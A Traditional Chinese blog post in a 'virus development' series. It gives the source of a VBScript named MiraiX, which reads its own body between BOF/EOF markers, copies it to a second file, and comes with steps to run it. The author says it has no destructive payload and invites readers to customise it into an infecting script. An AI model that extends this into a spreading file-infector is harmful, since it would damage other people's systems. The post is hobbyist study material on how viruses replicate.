主題

病毒開發(2) - VBscript 病毒概述及寄生的實踐

虛鹿 | 2022-01-27 00:02:34 | 巴幣 2030 | 人氣 279


考慮到有巴友反應上次的Python程式無法在Windows下成功執行,
( 我猜是Windows不支援Readline的原因
因此我又重新設計了MiraiX一次,
順便學習一款之前就想學的程式語法,
還能讓Windows用戶也能有一些操作體驗。

這次,我使用的是VBscript,
一款絕對與Windows環境相容的程式語言。
VBscript 的最大特色就是不用編譯,
並能擁有Windows電腦的絕對控制權,
( 畢竟就是微軟發明VBscript的說~
因此,
早期的病毒多半是使用這種語法製造的。

其餘對於VBscript的概念,
請見虛鹿的筆記:
以下為MiraiX.vbs的原始碼
至於怎~麼~執~行~呢~(^ω^)
這部分,我稍後再提。

[#] MiraiX VBScript Version 原始碼:

REM MiraiX BOF
REM Coded By Falsedeer(虛鹿), 2022/1/26

Dim selfcp, cplength, cpstatus:cpstatus = False 'dealing replicate shits
Const ForReading = 1, ForWriting =2, ForAppending = 8

Set fso = CreateObject("Scripting.FileSystemObject")

Function AddItem(arr, val)
    ReDim Preserve arr(UBound(arr) + 1)
    arr(UBound(arr)) = val
    AddItem = arr
End Function

Function Replicate()
    Set handler = fso.OpenTextFile(Wscript.ScriptFullName,    ForReading, False)
    selfcp = Array()
    Do Until handler.AtEndOfStream 'read line by line
    Dim code
    code = handler.ReadLine
    If StrComp(code, "REM MiraiX BOF", 1) = 0 Then 'True = -1, False = 0
    cpstatus = True
    ElseIF StrComp(code, "REM MiraiX EOF", 1) = 0 Then
    cpstatus = False
    End If

    If cpstatus = True Then
    selfcp = AddItem(selfcp, code)
    End If
    Loop

    selfcp = AddItem(selfcp, "REM MiraiX EOF") 'adding EOF for selfcp
    cplength = UBound(selfcp) 'counting length of selfcp
  
    Set cphandler = fso.OpenTextFile("MiraiX2.vbs", ForWriting, True)
    Dim x:x = 0
    Do while x < (cplength + 1)
    Dim cpcode
    cpcode = selfcp(x)
    cphandler.WriteLine(cpcode)
    x = x + 1
    Loop

    cphandler.Close()
End Function

call Replicate

REM MiraiX EOF

UMU! 要是諸君想測試的話,
請將以上內容全部貼入notepad(記事本)中。

接~著~呢~
再把這堆東東全部存成MiraiX.vbs就行囉!
檔案類型選”所有檔案”。

只要你成功了,
你就會看到以下的圖示。

點擊MiraiX兩下,程式便會執行,
產生出另一個稱為MiraiX2.vbs的分身,
如圖所示,其內容物完全相同的說。
但由於,Windows不允許重複檔名,
因此點擊分身無法再製造一個分身。
( 新建的分身檔案名稱被我事先設定了,
以方便各位識別

而這部分的手法,
可不是使用ReadAll,再新建一個檔案的呦!
(如果這樣搞,程式碼大概十行就解決了…..OwO

這邊,
因此只要你有自信編寫程式的能力,
你便可將其客製化成有感染能力的VBS檔案。
而它會掃描自己的BOF(Beginning of File)及EOF,
並把中間的內容物存入陣列之中,
使自己有能力把自身寄身到其他檔案之中。

請各位安心的測試虛鹿的程式,
雖然設計的初衷是實踐檔案寄生的電腦病毒,
但我沒有加入惡意修改或操做檔案的部分,
也不會無限的瘋狂增生,
因此,就請諸君安心的服用吧!\(≧▽≦)/
送禮物贊助創作者 !
0
留言

創作回應

Nero
2022-01-27 08:24:11
虛鹿
研究病毒開發真的超有趣的說,簡直一試成主顧呀~( ̄∇ ̄)
2022-01-27 09:24:49
TheWAY
我只注意到你的筆記很好看(X)
2022-01-27 20:43:55
虛鹿
感謝~
2022-01-28 17:10:09

相關創作

更多創作